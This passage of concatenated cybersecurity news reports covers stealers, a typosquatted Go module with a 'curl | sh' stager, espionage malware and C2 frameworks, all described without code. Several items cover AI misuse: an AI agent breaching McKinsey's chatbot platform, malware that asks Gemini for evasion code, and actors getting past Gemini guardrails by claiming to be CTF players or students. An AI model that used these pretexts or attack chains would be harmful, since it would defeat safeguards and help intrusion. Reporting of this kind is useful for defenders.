kits online. The suspects, aged between 12 and 16 at the time of the alleged offenses, face charges related to selling DDoS tools as part of a profit-driven scheme designed to target popular websites, including auction and sales portals, IT domains, hosting services, and accommodation booking sites. "Using the tools they administer, popular websites such as auction and sales portals, IT domains, hosting services, and accommodation booking services were attacked," Poland's Central Bureau for Combating Cybercrime (CBZC) said. Phishing-resistant Windows loginMicrosoft is rolling out passkey support for Microsoft Entra on Windows devices, adding phishing-resistant passwordless authentication via Windows Hello. "We're introducing Microsoft Entra passkeys on Windows to enable phishing-resistant sign-in to Entra-protected resources. This update allows users to create device-bound passkeys stored in the Windows Hello container and authenticate using Windows Hello methods (face, fingerprint, or PIN)," Microsoft said. "It also expands passwordless authentication to Windows devices that aren't Entra-joined or registered, helping organizations strengthen security and reduce reliance on passwords." Sysmon built into WindowsMicrosoft has natively integrated System Monitor (Sysmon) functionality directly into Windows 11 and Windows Server 2025 as an optional built-in feature as of Windows 11's March feature update (KB5079473). It's disabled by default. The company announced the integration in November 2025. "You no longer need to package it dynamically; you can simply enable it programmatically via PowerShell," Nick Carroll, cyber incident response manager at Nightwing, said. "Coupled with Microsoft's simultaneous announcement that Windows Intune will enable 'hotpatching' by default in May 2026, this drastically lowers the barrier to entry for deep endpoint visibility and represents a massive operational win for network defenders." Canada phishing campaignAn active phishing campaign is targeting Canadian residents (and possibly present in other countries) using fraudulent domains impersonating trusted institutions, including the Government of British Columbia and Hydro-Québec, with the goal of collecting personal information and credit card details, Flare said. The hosting infrastructure behind this campaign is linked to RouterHosting LLC (aka Cloudzy), a provider that was publicly accused in 2023 of supplying services to at least 17 state-sponsored hacking groups from countries including Iran, China, Russia, and North Korea. Private link safety in chatsMeta has detailed the workings of Advanced Browsing Protection (ABP) in Messenger, which protects the privacy of the links clicked on within chats while still warning people about malicious links. "In its standard setting, Safe Browsing uses on-device models to analyze malicious links shared in chats," the company said. "But we've extended this further with an advanced setting called Advanced Browsing Protection (ABP) that leverages a continually updated watchlist of millions more potentially malicious websites." ABP leverages an approach called private information retrieval (PIR) to implement a privacy-preserving "URL-matching" scheme between the client's query and the server hosting the database, along with Oblivious HTTP, AMD SEV-SNP, and Path ORAM for added privacy guarantees. BlackSanta EDR killerA sophisticated attack campaign targeting HR departments and job recruiters has combined social engineering with advanced evasion techniques to stealthily compromise systems by avoiding analysis environments and leveraging a specialized module designed to kill antivirus and endpoint detection software. The attack begins with a resume-themed ISO file delivered likely through spam or phishing emails, which then drops next-stage payloads, including a DLL that's launched via DLL side-loading to gather basic system information, initiate communication with a remote server, run sandbox checks, employ geographic filtering to avoid running in restricted regions, and drop additional payloads, such as BlackSanta EDR that employs legitimate but vulnerable kernel drivers to impair system defenses, a known tactic referred to as Bring Your Own Vulnerable Driver (BYOVD). "Rather than functioning as a simple auxiliary payload, BlackSanta acts as a dedicated defense-neutralization module that programmatically identifies and interferes with protection and monitoring processes prior to the deployment of follow-on stages," Aryaka said. "By targeting endpoint security engines alongside telemetry and logging agents, it directly reduces alert generation, limits behavioral logging, and weakens investigative visibility on compromised hosts." It's currently not known what the follow-on payloads are or how widespread the campaign is. Phishing campaigns don't just target HR teams, but also impersonate them in attacks. "Impersonating HR provides many benefits to threat actors. Tasks from HR are typically mandatory, so HR emails carry authority," Cofense said. "Legitimate HR tasks can also have strict deadlines, which a threat actor can use to impose urgency. Finally, regular HR tasks are expected by employees." ZIP evasion techniqueA new technique dubbed Zombie ZIP allows attackers to conceal payloads in specially crafted compressed files that can bypass security tools. "Malformed ZIP headers can cause antivirus and endpoint detection and response software (EDR) to produce false negatives," the CERT Coordination Center (CERT/CC) said. "Despite the presence of malformed headers, some extraction software is still able to decompress the ZIP archive, allowing potentially malicious payloads to run upon file decompression." The vulnerability, tracked as CVE-2026-0866, has been codenamed Zombie Zip by researcher Christopher Aziz, who discovered it. The technique was demonstrated by Bombadil Systems security researcher Chris Aziz. AI agent breaches platformResearchers at autonomous offensive security startup CodeWall said their AI agent hacked McKinsey's internal AI platform Lili and gained full read and write access to the chatbot platform in just two hours. This enabled access to the entire production database, including 46.5 million chat messages about strategy, mergers and acquisitions, and client engagements, all in plaintext, along with 728,000 files containing confidential client data, 57,800 user accounts, and 95 system prompts controlling the AI's behavior. The development is an indicator that agentic AI tools are becoming more effective for conducting cyber attacks. The agent said it found over 200 endpoints that were totally exposed, out of which 22 were unprotected. One of these endpoints, which wrote user search queries to the database, suffered from an SQL injection that could have made it possible to access sensitive data and rewrite the system prompts silently. McKinsey has since addressed the problem. There is no evidence that the issue was exploited in the wild. Teams social engineering malwareHackers have contacted employees at financial and healthcare organizations over Microsoft Teams to trick them into granting remote access through Quick Assist and deploy a new piece of malware called A0Backdoor. The modus operandi, which aligns with the playbook of Storm-1811 (aka STAC5777 or Blitz Brigantine), employs social engineering to gain the employee's trust by first flooding their inbox with spam and then contacting them over Teams, pretending to be the company's IT staff and offering assistance with the problem. To obtain access to the target machine, the threat actor instructs the user to start a Quick Assist remote session, which is used to deploy a malicious toolset that includes digitally signed MSI packages, some of which were hosted on Microsoft cloud storage tied to personal accounts. The installers serve as a conduit for launching a DLL that, in turn, decrypts and runs shellcode responsible for running anti-analysis checks and dropping A0Backdoor, which establishes contact to a remote server using DNS tunnelling to receive commands. The activity has been active since at least August 2025 through late February 2026. Industrialized disinformation networkThe Russian influence operation known as Doppelgänger has been described as industrialized and prioritizing infrastructure resilience, scalability, and operational continuity over short-term visibility. "Rather than functioning as a loose collection of spoofed websites or transient propaganda outlets, the network exhibits the hallmarks of a coordinated, professionally managed influence apparatus," DomainTools said. "At its core, the ecosystem relies on systematic media brand impersonation executed at scale." Campaigns mounted as part of the operation exhibit deliberate geographic micro-targeting across European Union member states and the U.S. Pentagon AI disputeAnthropic has filed a lawsuit to block the Pentagon from placing it on a national security blocklist, stating the supply chain risk designation was unlawful and violated its free speech and due process rights. The development comes after the Pentagon formally branded the artificial intelligence (AI) company a supply chain risk after it refused to remove guardrails against using its technology for autonomous weapons or domestic surveillance. In its own statement, Anthropic said "we had been having productive conversations with the Department of War over the last several days, both about ways we could serve the Department that adhere to our two narrow exceptions, and ways for us to ensure a smooth transition if that is not possible." However, the Pentagon said there is no active negotiation happening with Anthropic. It also reiterated that the department "does not do and will not do domestic mass surveillance." The development follows OpenAI's own deal with the U.S. Department of Defense, with CEO Sam Altman stating the defense contract would include protections against the same red lines that Anthropic had insisted on. The company has since amended its contract to ensure "the AI system shall not be intentionally used for domestic surveillance of U.S. persons and nationals." Anthropic's CEO Dario Amodei has called OpenAI's messaging "safety theater" and "straight up lies." GitHub SEO malwareA new information stealer campaign distributing BoryptGrab is leveraging a network of more than 100 public GitHub repositories that claim to offer software tools for free, using search engine optimization (SEO) keywords to lure victims. The multi-stage infection chain begins when a ZIP file is downloaded from a fake GitHub download page. BoryptGrab can harvest browser data, cryptocurrency wallet information, and system information. It's also capable of capturing screenshots, collecting common files, and extracting Telegram information, Discord tokens, and passwords. Also delivered as part of the attack is a backdoor called TunnesshClient that establishes a reverse SSH tunnel to communicate with the attacker and acts as a SOCKS5 proxy. The earliest ZIP file dates back to late 2025. Certain iterations of the campaign have been found to deliver Vidar Stealer or a Golang downloader dubbed HeaconLoad, which then downloads and runs additional payloads. RAT campaign against IndiaThe Pakistan-aligned threat actor known as Transparent Tribe has been attributed to a fresh set of attacks targeting Indian government entities to infect systems with a RAT that enables remote command execution, process monitoring and termination, remote program execution, file upload/download, file enumeration, screenshot capture, and live screen monitoring capabilities. "The campaign primarily relies on social engineering techniques, distributing a malicious ZIP archive disguised as examination-related documents to persuade recipients to interact with the files," CYFIRMA said. "Upon extraction, the archive delivers deceptive shortcut files along with a macro-enabled PowerPoint add-in, which collectively initiate the infection chain. The threat actors employ multiple layers of obfuscation and redundant execution mechanisms to enhance the probability of successful compromise while reducing the likelihood of user suspicion." Signed phishing malwareMicrosoft is warning of multiple phishing campaigns using workplace meeting lures, PDF attachments, and abuse of legitimate binaries to deliver signed malware. The activity, observed in February 2026, has not been attributed to a specific threat actor or group. "Phishing emails directed users to download malicious executables masquerading as legitimate software," the company said. "The files were digitally signed using an Extended Validation (EV) certificate issued to TrustConnect Software PTY LTD. Once executed, the applications installed remote monitoring and management (RMM) tools that enabled the attacker to establish persistent access on compromised systems." Some of the deployed RMM tools include ScreenConnect, Tactical RMM, and MeshAgent. The use of the TrustConnect branding was disclosed by Proofpoint last week. Furthermore, the deployment of multiple RMM frameworks within a single intrusion indicates a deliberate strategy to ensure continuous access and ensure operational resilience even if one access mechanism is detected or removed. "These campaigns demonstrate how familiar branding and trusted digital signatures can be abused to bypass user suspicion and gain an initial foothold in enterprise environments," Microsoft added. TikTok allowed in CanadaFollowing a national security review of TikTok, Canada's Minister of Industry, Mélanie Joly, said the company can keep its business operational. "TikTok will implement enhanced protection for Canadians’ personal information, including new security gateways and privacy-enhancing technologies to control access to Canadian user data in order to reduce the risk of unauthorized or prohibited access," the government said. "TikTok will implement enhanced protections for minors." The development marks a complete 180 from a 2024 decision, when it was ordered to shut down its operations, citing unspecified "national security risks." However, that order was paused in early 2025. Vulnerabilities rise 12%Flashpoint said it catalogued 44,509 vulnerability disclosures in 2025, a 12% increase year-over-year (YoY). Of those, 466 were confirmed as exploited in the wild. Nearly 33%, or 14,593 vulnerabilities, had publicly available exploit code. Ransomware attacks also increased 53% YoY in 2025, with 8,835 total attacks recorded. The top RaaS groups by attack volume in 2025 were Qilin at 1,213 attacks, Akira at 1,044, Cl0p at 529, Safepay at 452, and Play at 395. Manufacturing was the most targeted industry with 1,564 attacks, followed by technology at 987 and healthcare at 905. The U.S. accounted for approximately 53% of named victim organizations. Botnet exploiting 174 flawsThe RondoDox DDoS botnet has been found to implement 174 different exploits between May 25, 2025, and February 16, 2026, peaking at 15,000 exploitation attempts in a single day between December 2025 and January 2026. It's believed that the threat actors are using compromised residential IP addresses as hosting infrastructure. "The operators of RondoDox have been using a shotgun approach, where they send multiple exploits to the same endpoint, hoping for one to work," Bitsight said. Of the 174 different vulnerabilities, 15 have a public proof-of-concept (PoC), but no CVE, and 11 do not have PoC code at all. RondoDox is notable for its fast addition of recently disclosed vulnerabilities, in some cases incorporating the PoC even before the CVE was published (e.g., CVE-2025-62593). Memory-only keylogger attackPhishing emails bearing purchase order lures are being used to distribute an executable within RAR archives. Once launched, the binary extracts and runs VIP Keylogger in memory without touching the disk. "This keylogger captures either browser cookies, logins, credit card details, autofills, visited URLs, downloads, or top sites from the appropriate files in each of the application's designated folders," K7 Labs said. It's also capable of targeting a wide range of web browsers, stealing the email accounts from Outlook, Foxmail, Thunderbird, and Postbox, and collecting Discord tokens. Cloudflare-shielded phishingA new Microsoft 365 credential harvesting campaign has been observed abusing Cloudflare's services to delay detection and risk profiling. The gatekeeping is designed to ensure the visitor is a real target and not a security scanner or bot. "The campaign implemented multiple anti-detection techniques, including the use of CloudFlare human verification, hardcoded IP block lists, user agent checks, and multiple sites and redirects," DomainTools said. Some of the stuff in this week’s list feels a little too practical. Not big flashy hacks — just simple tricks used in the right place at the right time. The kind of things that make defenders sigh because… yeah, that’ll probably work. There’s also a bit of the usual theme: tools and features doing exactly what they were designed to do… just not for the people who built them. Add some creative thinking, and suddenly normal workflows start looking like attack paths. Anyway — quick reads, strange ideas, and a few reminders that security problems rarely disappear… they just change shape. Scroll on.

Splunk and Zoom this week announced security updates that resolve multiple critical- and high-severity vulnerabilities across their product portfolios. Zoom has addressed a critical-severity flaw in Workplace for Windows that could allow unauthenticated, remote attackers to elevate their privileges over the network. The issue impacts the Mail feature of the product and was addressed in Workplace for Windows version 6.6.0 and Workplace VDI Client for Windows versions 6.4.17, 6.5.15, and 6.6.10. Additionally, Zoom rolled out patches for three high-severity security defects in certain Zoom Clients for Windows that could be exploited by local attackers to escalate their privileges. Splunk on Wednesday released a fresh round of Splunk Enterprise updates that resolve dozens of issues, including five that are product-specific. The most severe of these bugs is CVE-2026-20163 (CVSS score of 8.0), a high-severity flaw that could be exploited by attackers who already have high privileges on a vulnerable deployment to execute arbitrary shell commands through a REST endpoint. “This occurs because of insufficient input sanitization when previewing uploaded files before indexing them,” Splunk says. The security defect was addressed in Splunk Enterprise versions 10.2.0, 10.0.4, 9.4.9, and 9.3.10, which also resolve three medium-severity flaws leading to XSS attacks, credential exposure, and sensitive information disclosure. The updates also include fixes for dozens of CVEs in third-party packages used in Splunk Enterprise, including multiple Golang dependencies. A fourth medium-severity issue that could lead to Observability Cloud API access token leakage was resolved in Splunk Enterprise versions 10.2.1 and 10.0.4. Additionally, Splunk rolled out fixes for dozens of other vulnerabilities in third-party packages in Splunk AppDynamics, including multiple critical-severity flaws. Splunk made no mention of any of these security defects being exploited in the wild. Additional information can be found on the company’s security advisories page. Related: Cisco Patches High-Severity IOS XR Vulnerabilities Related: Critical N8n Vulnerabilities Allowed Server Takeover Related: Fortinet, Ivanti, Intel Patch High-Severity Vulnerabilities

A new information stealer has been distributed through a network of more than 100 GitHub repositories, Trend Micro reports. Dubbed BoryptGrab, the malware can harvest browser and cryptocurrency wallet data, along with system information and user files. Additionally, certain iterations of the stealer can drop a backdoor dubbed TunnesshClient, which uses an SSH tunnel for command-and-control (C&C) communication. Trend Micro’s investigation into BoryptGrab revealed the existence of multiple ZIP archives masquerading as free software tools that have been distributed since late 2025 through the GitHub repositories. All identified binaries contained similar Russian-language comments and URL-fetching logic, although the malware’s execution logic was not the same for all ZIP archives. In some cases, DLL sideloading was used for execution, leveraging an executable within the archive, while in others, VBS Script was used to fetch the launcher’s executable. A .NET executable, a Golang downloader named HeaconLoad, and other execution paths were also observed. BoryptGrab is a C/C++ information stealer that includes VM and anti-analysis checks and attempts to execute with elevated privileges. It can harvest information from close to a dozen browsers, uses Chrome App Bound Encryption techniques from two GitHub repositories, and downloads a Chromium helper to collect information from the targeted browsers. It can also collect data from desktop cryptocurrency wallet applications and browser extensions, harvest system information, take screenshots, and collect files with specific extensions. Additionally, Trend Micro discovered that the stealer can obtain Telegram files, browser passwords, and, in newer iterations, Discord tokens. All the harvested information is archived and sent to the attacker’s C&C server. Some of the identified variants also deploy the TunnesshClient backdoor, which in other cases is dropped using different downloaders. TunnesshClient can execute commands provided by the attacker via a reverse SSH tunnel. Based on these, the malware acts as a SOCKS5 proxy, executes shell commands, lists files, searches for files, uploads and downloads files, or sends entire folders to the attacker’s server. “The BoryptGrab campaign illustrates an evolving threat ecosystem targeting users through deceptive software downloads and fake GitHub repositories,” Trend Micro notes, adding that the operation shows an increasing level of engineering sophistication. Related: ‘Arkanix Stealer’ Malware Disappears Shortly After Debut Related: ‘SolyxImmortal’ Information Stealer Emerges Related: Lumma Stealer Activity Drops After Doxxing Related: Hundreds Targeted in New Atomic macOS Stealer Campaign

Cybersecurity researchers have disclosed details of a malicious Go module that's designed to harvest passwords, create persistent access via SSH, and deliver a Linux backdoor named Rekoobe. The Go module, github[.]com/xinfeisoft/crypto, impersonates the legitimate "golang.org/x/crypto" codebase, but injects malicious code that's responsible for exfiltrating secrets entered via terminal password prompts to a remote endpoint, fetches a shell script in response, and executes it. "This activity fits namespace confusion and impersonation of the legitimate golang.org/x/crypto subrepository (and its GitHub mirror github.com/golang/crypto)," Socket security researcher Kirill Boychenko said. "The legitimate project identifies go.googlesource.com/crypto as canonical and treats GitHub as a mirror, a distinction the threat actor abuses to make github.com/xinfeisoft/crypto look routine in dependency graphs." Specifically, the backdoor has been placed within the "ssh/terminal/terminal.go" file, so that every time a victim application invokes ReadPassword() – a function supposedly meant to read input like passwords from a terminal – it causes those interactive secrets to be captured. The main responsibility of the downloaded script is to function as a Linux stager, appending a threat actor's SSH key to the "/home/ubuntu/.ssh/authorized_keys" file, set iptables default policies to ACCEPT in an attempt to loosen firewall restrictions, and retrieve additional payloads from an external server while disguising them with the .mp5 extension. Of the two payloads, one is a helper that tests internet connectivity and attempts to communicate with an IP address ("154.84.63[.]184") over TCP port 443. The program likely functions as a recon or loader, Socket noted. The second downloaded payload has been assessed to be Rekoobe, a known Linux trojan that has been detected in the wild since at least 2015. The backdoor is capable of receiving commands from an attacker-controlled server to download more payloads, steal files, and execute a reverse shell. As recently as August 2023, Rekoobe has been put to use by Chinese nation-state groups like APT31. While the package still remains listed on pkg.go.dev, the Go security team has taken steps to block the library as malicious. "This campaign will likely repeat because the pattern is low-effort and high-impact: a lookalike module that hooks a high-value boundary (ReadPassword), uses GitHub Raw as a rotating pointer, then pivots into curl | sh staging and Linux payload delivery," Boychenko said. "Defenders should anticipate similar supply chain attacks targeting other 'credential edge' libraries (SSH helpers, CLI auth prompts, database connectors) and more indirection through hosting surfaces to rotate infrastructure without republishing code."

A previously unknown threat actor tracked as UAT-9921 has been observed leveraging a new modular framework called VoidLink in its campaigns targeting the technology and financial services sectors, according to findings from Cisco Talos. "This threat actor seems to have been active since 2019, although they have not necessarily used VoidLink over the duration of their activity," researchers Nick Biasini, Aaron Boyd, Asheer Malhotra, and Vitor Ventura said. "UAT-9921 uses compromised hosts to install VoidLink command-and-control (C2), which are then used to launch scanning activities both internal and external to the network." VoidLink was first documented by Check Point last month, describing it as a feature-rich malware framework written in Zig designed for long-term, stealthy access to Linux-based cloud environments. It's assessed to be the work of a single developer with assistance from a large language model (LLM) to flesh out its internals based on a paradigm called spec-driven development. In another analysis published earlier this week, Ontinue pointed out that the emergence of VoidLink presents a new concern where LLM-generated implants, packed with kernel-level rootkits and features to target cloud environments, can further lower the skill barrier required to produce hard-to-detect malware. Per Talos, UAT-9921 is believed to possess knowledge of the Chinese language, given the language of the framework and code comments present in it. The toolkit is said to be a recent addition to its arsenal. It is also believed that the development was split across teams, although the extent of the demarcation between development and the actual operations remains unclear. "The operators deploying VoidLink have access to the source code of some [kernel] modules and some tools to interact with the implants without the C2," the researchers noted. "This indicates inner knowledge of the communication protocols of the implants." VoidLink is deployed as a post-compromise tool, allowing the adversary to sidestep detection. The threat actor has also been observed deploying a SOCKS proxy on compromised servers to launch scans for internal reconnaissance and lateral movement using open-source tools like Fscan. The cybersecurity company said it's aware of multiple VoidLink-related victims dating back to September 2025, indicating that work on the malware may have commenced much earlier than the November 2025 timeline pieced together by Check Point. When reached for comment regarding the latest findings, Pedro Drimel Neto, malware analysis lead at Check Point Software, told The Hacker News via email that they have not observed evidence of VoidLink "being used as of September 2025 and threat actor activity since 2019," and that "we cannot independently verify activity outside of the datasets and sources available to us." VoidLink uses three different programming languages: ZigLang for the implant, C for the plugins, and GoLang for the backend. It supports compilation on demand for plugins, providing support for the different Linux distributions that might be targeted. The plugins allow for gathering information, lateral movement, and anti-forensics. The framework also comes fitted with a wide range of stealth mechanisms to hinder analysis, prevent its removal from the infected hosts, and even detect endpoint detection and response (EDR) solutions and devise an evasion strategy on the fly. "The C2 will provide that implant with a plugin to read a specific database the operator has found or an exploit for a known vulnerability, which just happens to be on an internal web server," Talos said. "The C2 doesn't necessarily need to have all these tools available — it may have an agent that will do its research and prepare the tool for the operator to use. With the current VoidLink compile-on-demand capability, integrating such a feature should not be complex. Keep in mind that all of this will happen while the operator continues to explore the environment." Another defining trait of VoidLink is its auditability and the existence of a role-based access control (RBAC) mechanism, which consists of three role levels: SuperAdmin, Operator, and Viewer. This suggests that the developers of the framework kept oversight in mind when designing it, raising the possibility that the activity may be part of red team exercises. What's more, there are signs that there exists a main implant that has been compiled for Windows and can load plugins via a technique called DLL side-loading. "This is a near-production-ready proof of concept," Talos said. "VoidLink is positioned to become an even more powerful framework based on its capabilities and flexibility."

CrowdStrike has identified a sophisticated cyber-espionage campaign by Warp Panda targeting North American legal, technology and manufacturing firms to support Chinese government priorities. The previously unknown threat actor exhibits a high level of technical sophistication, advanced operations security (OPSEC) skills and extensive knowledge of cloud and virtual machine (VM) environments, according to information shared by CrowdStrike. The cybersecurity firm said during the summer of 2025 it identified multiple instances in which the adversary targeted VMware vCenter environments. According to CrowdStrike’s findings, Warp Panda likely used access to one of the compromised networks to engage in rudimentary reconnaissance against an Asia Pacific government entity. The hackers have also been connected to various cybersecurity blogs and a Mandarin-language GitHub repository. During at least one intrusion, the adversary specifically accessed email accounts of employees who work on topics that align with Chinese government interests. The adversary primarily targets entities in North America and consistently maintains persistent, covert access to compromised networks, likely to support intelligence-collection efforts aligned with People's Republic of China (PRC) strategic interests. Long-term and Persistent Malicious Activity The activity has been described as long-term and persistent, with one intrusion in 2023 serving as Warp Panda’s initial access point.. CrowdStrike commented that the threat actor has been active since at least 2022. The firm assessed with moderate confidence that the threat actor will likely maintain its intelligence-collection operations in the near to long term. This focus on long-term access operations suggests they are associated with a well-resourced organization that has heavily invested in cyber espionage capabilities. The adversary has been identified deploying BRICKSTORM malware on VMware VCenter servers, a backdoor written in Golang that frequently masquerades as legitimate vCenter processes, such as updatemgr or vami-http. Warp Panda also deployed two previously unobserved Golang-based implants – Junction and GuestConduit – on ESXi hosts and guest VMs, respectively. On December 4, the US Cybersecurity and Infrastructure Security Agency (CISA) published a joint advisory which confirmed a PRC state-sponsored cyber actor is using BRICKSTORM malware for long-term persistence on victim systems. The advisory also noted VMware vSphere platforms have been targeted. CISA’s analysis stated that the cyber threat actors used BRICKSTORM for persistent access from at least April 2024 through at least September 3, 2025. Warp Panda frequently gains initial access by exploiting internet-facing edge devices and subsequently pivots to vCenter environments, using valid credentials or exploiting vCenter vulnerabilities, CrowdStrike noted. To move laterally within the compromised networks, the adversary uses SSH and the privileged vCenter management account vpxuser. In some instances, CrowdStrike identified them using the Secure File Transfer Protocol (SFTP) to move data between hosts. TTPs also include log clearing and file timestomping, as well as creating malicious VMs – unregistered in the vCenter server – and shutting them down after use. To blend in with legitimate network traffic, the adversary has used BRICKSTORM to tunnel traffic through vCenter servers, ESXi hosts, and guest VMs. BRICKSTORM implants masquerade as legitimate vCenter processes and have persistence mechanisms that allow the implants to survive after file deletion and system reboots. Further, Warp Panda has exploited multiple vulnerabilities in edge devices and VMware vCenter environments during their operations

Google on Wednesday said it discovered an unknown threat actor using an experimental Visual Basic Script (VB Script) malware dubbed PROMPTFLUX that interacts with its Gemini artificial intelligence (AI) model API to write its own source code for improved obfuscation and evasion. "PROMPTFLUX is written in VB Script and interacts with Gemini's API to request specific VBScript obfuscation and evasion techniques to facilitate 'just-in-time' self-modification, likely to evade static signature-based detection," Google Threat Intelligence Group (GTIG) said in a report shared with The Hacker News. The novel feature is part of its "Thinking Robot" component, which periodically queries the large language model (LLM), Gemini 1.5 Flash or later in this case, to obtain new code so as to sidestep detection. This, in turn, is accomplished by using a hard-coded API key to send the query to the Gemini API endpoint. The prompt sent to the model is both highly specific and machine-parsable, requesting VB Script code changes for antivirus evasion and instructing the model to output only the code itself. The regeneration capability aside, the malware saves the new, obfuscated version to the Windows Startup folder to establish persistence and attempts to propagate by copying itself to removable drives and mapped network shares. "Although the self-modification function (AttemptToUpdateSelf) is commented out, its presence, combined with the active logging of AI responses to '%TEMP%\thinking_robot_log.txt,' clearly indicates the author's goal of creating a metamorphic script that can evolve over time," Google added. The tech giant also said it discovered multiple variations of PROMPTFLUX incorporating LLM-driven code regeneration, with one version using a prompt to rewrite the malware's entire source code every hour by instructing the LLM to act as an "expert VB Script obfuscator." PROMPTFLUX is assessed to be under development or testing phase, with the malware currently lacking any means to compromise a victim network or device. It's currently not known who is behind the malware, but signs point to a financially motivated threat actor that has adopted a broad, geography- and industry-agnostic approach to target a wide range of users. However, security researcher Marcus Hutchins provided a counterargument on LinkedIn, calling out the likely exaggerated nature of companies "overblowing the significance of AI slop malware." The prompt embedded into the malware is "working under the assumption that Gemini just instinctively knows how to evade antiviruses (it doesn't)," Hutchins added. "There's also no entropy to ensure the 'self-modifying' code differs from previous versions, or any guardrails to ensure it actually works. The function was also commented out and not even in use." Google also noted that adversaries are going beyond utilizing AI for simple productivity gains to create tools that are capable of adjusting their behavior in the midst of execution, not to mention developing purpose-built tools that are then sold on underground forums for financial gain. Some of the other instances of LLM-powered malware observed by the company are as follows - FRUITSHELL, a reverse shell written in PowerShell that includes hard-coded prompts to bypass detection or analysis by LLM-powered security systems PROMPTLOCK, a cross-platform ransomware written in Go that uses an LLM to dynamically generate and execute malicious Lua scripts at runtime (identified as a proof-of-concept) PROMPTSTEAL (aka LAMEHUG), a data miner used by the Russian state-sponsored actor APT28 in attacks targeting Ukraine that queries Qwen2.5-Coder-32B-Instruct to generate commands for execution via the API for Hugging Face QUIETVAULT, a credential stealer written in JavaScript that targets GitHub and NPM tokens From a Gemini point of view, the company said it observed a China-nexus threat actor abusing its AI tool to craft convincing lure content, build technical infrastructure, and design tooling for data exfiltration. In at least one instance, the threat actor is said to have reframed their prompts by identifying themselves as a participant in a capture-the-flag (CTF) exercise to bypass guardrails and trick the AI system into returning useful information that can be leveraged to exploit a compromised endpoint. "The actor appeared to learn from this interaction and used the CTF pretext in support of phishing, exploitation, and web shell development," Google said. "The actor prefaced many of their prompts about exploitation of specific software and email services with comments such as 'I am working on a CTF problem' or 'I am currently in a CTF, and I saw someone from another team say ...' This approach provided advice on the next exploitation steps in a 'CTF scenario.'" Other instances of Gemini abuse by state-sponsored actors from China, Iran, and North Korea to streamline their operations, including reconnaissance, phishing lure creation, command-and-control (C2) development, and data exfiltration, are listed below - The misuse of Gemini by a suspected China-nexus actor on various tasks, ranging from conducting initial reconnaissance on targets of interest and phishing techniques to delivering payloads and seeking assistance on lateral movement and data exfiltration methods The misuse of Gemini by Iranian nation-state actor APT41 for assistance on code obfuscation and developing C++ and Golang code for multiple tools, including a C2 framework called OSSTUN The misuse of Gemini by Iranian nation-state actor MuddyWater (aka Mango Sandstorm, MUDDYCOAST or TEMP.Zagros) to conduct research to support the development of custom malware to support file transfer and remote execution, while circumventing safety barriers by claiming to be a student working on a final university project or writing an article on cybersecurity The misuse of Gemini by Iranian nation-state actor APT42 (aka Charming Kitten and Mint Sandstorm) to craft material for phishing campaigns that often involve impersonating individuals from think tanks, translating articles and messages, researching Israeli defense, and developing a "Data Processing Agent" that converts natural language requests into SQL queries to obtain insights from sensitive data The misuse of Gemini by North Korean threat actor UNC1069 (aka CryptoCore or MASAN) – one of the two clusters alongside TraderTraitor (aka PUKCHONG or UNC4899) that has succeeded the now-defunct APT38 (aka BlueNoroff) – to generate lure material for social engineering, develop code to steal cryptocurrency, and craft fraudulent instructions impersonating a software update to extract user credentials The misuse of Gemini by TraderTraitor to develop code, research exploits, and improve their tooling Furthermore, GTIG said it recently observed UNC1069 employing deepfake images and video lures impersonating individuals in the cryptocurrency industry in their social engineering campaigns to distribute a backdoor called BIGMACHO to victim systems under the guise of a Zoom software development kit (SDK). It's worth noting that some aspects of the activity share similarities with the GhostCall campaign recently disclosed by Kaspersky. The development comes as Google said it expects threat actors to "move decisively from using AI as an exception to using it as the norm" in order to boost the speed, scope, and effectiveness of their operations, thereby allowing them to mount attacks at scale. "The increasing accessibility of powerful AI models and the growing number of businesses integrating them into daily operations create perfect conditions for prompt injection attacks," it said. "Threat actors are rapidly refining their techniques, and the low-cost, high-reward nature of these attacks makes them an attractive option."

The open-source command-and-control (C2) framework known as AdaptixC2 is being used by a growing number of threat actors, some of whom are related to Russian ransomware gangs. AdaptixC2 is an emerging extensible post-exploitation and adversarial emulation framework designed for penetration testing. While the server component is written in Golang, the GUI Client is written in C++ QT for cross-platform compatibility. It comes with a wide range of features, including fully encrypted communications, command execution, credential and screenshot managers, and a remote terminal, among others. An early iteration was publicly released by a GitHub user named "RalfHacker" (@HackerRalf on X) in August 2024, who describes themselves as a penetration tester, red team operator, and "MalDev" (short for malware developer). In recent months, AdaptixC2 has been adopted by various hacking groups, including threat actors tied to the Fog and Akira ransomware operations, as well as by an initial access broker that has leveraged CountLoader in attacks that are designed to deliver various post-exploitation tools. Palo Alto Networks Unit 42, which broke down the technical aspects of the framework last month, characterized it as a modular and versatile framework that can be used to "comprehensively control impacted machines," and that it has been put to use as part of fake help desk support call scams via Microsoft Teams and through an artificial intelligence (AI)-generated PowerShell script. While AdaptixC2 is offered as an ethical, open-source tool for red teaming activities, it's also clear that it has attracted the attention of cybercriminals. Cybersecurity company Silent Push said RalfHacker's GitHub bio about them being a "MalDev" triggered an investigation, allowing them to find several email addresses for GitHub accounts linked to the account's owner, in addition to a Telegram channel called RalfHackerChannel, where they re-shared messages posted on a dedicated channel for AdaptixC2. The RalfHackerChannel channel has more than 28,000 subscribers. In a message on the AdaptixFramework channel in August 2024, they mentioned their interest in starting a project about a "public C2, which is very trendy right now" and hoped "it will be like Empire," another popular post-exploitation and adversary emulation framework. While it's currently not known if RalfHacker has any direct involvement in malicious activity tied to AdaptixC2 or CountLoader at this stage, Silent Push said their "ties to Russia’s criminal underground, via the use of Telegram for marketing and the tool’s subsequent uptick in utilization by Russian threat actors, all raise significant red flags." AdaptixC2's developer did not immediately respond to The Hacker News' requests for comment. Red-teaming tools, specifically those that are made freely available such as Havoc, Mythic, and Sliver, have long been repurposed by malicious actors to their advantage. Cracked versions of Cobalt Strike and Brute Ratel C4 have also witnessed extensive abuse in recent years.

